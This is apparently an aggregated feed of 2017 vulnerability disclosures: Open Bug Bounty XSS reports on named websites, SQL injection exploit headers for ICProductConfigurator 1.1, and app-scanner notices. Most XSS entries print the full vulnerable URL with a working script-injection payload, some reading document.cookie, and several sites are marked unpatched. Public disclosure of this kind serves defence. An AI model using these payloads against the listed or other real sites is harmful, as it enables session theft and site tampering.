خبر عاجل العراق - Customized SSL, Dangerous filesystem permissions vulnerabilities

HackApp vulnerability scanner discovered that application خبر عاجل العراق published at the 'play' market has multiple vulnerabilities...

ecowebhosting.co.uk XSS vulnerability

Vulnerable URL: https://www.ecowebhosting.co.uk/order/domain-names?search=%22%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 29.10.2017 Vulnerability type:| XSS Vulnerability status:|...

almtoolbox.com XSS vulnerability

Vulnerable URL: http://www.almtoolbox.com/gitlab-goto.php?u=javascript:alert/OPENBUGBOUNTY/ Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4425938 VIP website status:| No Coordinated Disclosure Timeline:...

biu-montpellier.fr XSS vulnerability

Vulnerable URL: http://www.biu-montpellier.fr/florabium/jsp/redir.jsp?redir=--%3E%3C%2fsCRipT%3E%22%3E%27%3E%3CsCRipT%3Ealert%28%2fXSSPOSED%2f%29%3C%2fsCRipT%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 24.12.2017 Vulnerability type:| XSS Vulnerability status:|...

lila-lust.de XSS vulnerability

Vulnerable URL: http://lila-lust.de/markt/schnellsuche.php Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 21.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 642669 VIP website status:| No Coordinated Disclosur...

iskolaklistaja.eu XSS vulnerability

Vulnerable URL: http://www.iskolaklistaja.eu/kereses/?cx=partner-pub-2110117975278743%3A7857889389=FORID%3A10=UTF-8=a%27%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%2FOPENBUGBOUNTY%2F%29%3B%3C%2Fscript%3E= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 14.12.2017...

cultpens.com XSS vulnerability

Vulnerable URL: https://www.cultpens.com/s?q=%22%20onmouseover=%22prompt%27OPENBUGBOUNTY%27 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 93997 VIP website status:| No Coordinated Disclosure Timeline:...

ICProductConfigurator 1.1 - 'key' SQL Injection

Exploit Title: Customized Products Shopping Script 1.1 - SQL Injection Dork: N/A Date: 13.09.2017 Vendor Homepage: http://www.icloudcenter.com/ Software Link: http://www.icloudcenter.com/bpProductConfigurator.htm Demo: http://icloudcenter.net/demos/icproductconfigurator/ Version: 1.1 Category:...

ICProductConfigurator 1.1 - (key) Parameter SQL Injection Vulnerability

Exploit for php platform in category web applications Exploit Title: Customized Products Shopping Script 1.1 - SQL Injection Dork: N/A Date: 13.09.2017 Vendor Homepage: http://www.icloudcenter.com/ Software Link: http://www.icloudcenter.com/bpProductConfigurator.htm Demo:...

asconaweek.ch XSS vulnerability

Vulnerable URL: https://www.asconaweek.ch/app/easyweb/query?TitleText=Suchergebnis=1=ResText1%3BResText2=aaa%27"=maingroup"%3D%27HOTELS%27+or+maingroup%3D%27EVENTS%27&suchen.x;=0&suchen.y;=0 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:|...

ncell.gamesclub.mobi XSS vulnerability

Vulnerable URL: http://ncell.gamesclub.mobi/ncellPPU/TH/msg.aspx?PId=1827=NEPNCELLPPDL=53=003 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 01.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

lalandiabio.dk XSS vulnerability

Vulnerable URL: http://www.lalandiabio.dk/sites/all/modules/cinema/cinema/show-movie-trailer.php?id=226484311"';--=820=470=true Details: Description| Value ---|--- Patched:| No Latest check for patch:| 01.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 50192...

skagenbio.dk XSS vulnerability

Vulnerable URL: http://www.skagenbio.dk/sites/all/modules/cinema/cinema/show-movie-trailer.php?id=202901034"';--=820=470=true Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 8763316...

developer.centrify.com XSS vulnerability

Vulnerable URL: http://developer.centrify.com/luceneSearch/search Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Coordinated...

graphics.cs.ucf.edu XSS vulnerability

Vulnerable URL: http://graphics.cs.ucf.edu/tools/AMB/index.php?from=charly%22%3E%3Ch1%3EM0ns7er%3C/h1%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C/br%3E%3Cimg%20src=%22https://images.cooltext.com/4956678.gif%22%20width=%22166%22%20height=%2270%22%20alt=%22m0ns7er%22%20/%3E Details:...

mail.kiyaryokan.com XSS vulnerability

Vulnerable URL: http://mail.kiyaryokan.com/archives.php?id=1%22%3E%3Ch1%3EM0ns7er%3C/h1%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C/br%3E%3Cimg%20src=%22https://images.cooltext.com/4956678.gif%22%20width=%22166%22%20height=%2270%22%20alt=%22m0ns7er%22%20/%3E Details: Description| Val...

epc.eu XSS vulnerability

Vulnerable URL: http://www.epc.eu/pubdetails.php?catid=4id=3421%22%3E%3Ch1%3EM0ns7er%3C/h1%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C/br%3E%3Cimg%20src=%22https://images.cooltext.com/4956678.gif%22%20width=%22166%22%20height=%2270%22%20alt=%22m0ns7er%22%20/%3E Details: Description|...

fcanniviers.ch XSS vulnerability

Vulnerable URL: http://fcanniviers.ch/home.php?calendardate=042017"';-- Details: Description| Value ---|--- Patched:| No Latest check for patch:| 24.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

secure.pqarchiver.com XSS vulnerability

Vulnerable URL: https://secure.pqarchiver.com/myPQA//%22'--!%3E%3Ch1%3EChri55%3C/h1%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C/br%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 22.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclose...

UC Browser - Fast Download Private & Secure - Base64 encoded String, Customized SSL, Redefined SSL Common Names verifier vulnerabilities

HackApp vulnerability scanner discovered that application UC Browser - Fast Download Private & Secure published at the 'play' market has multiple vulnerabilities...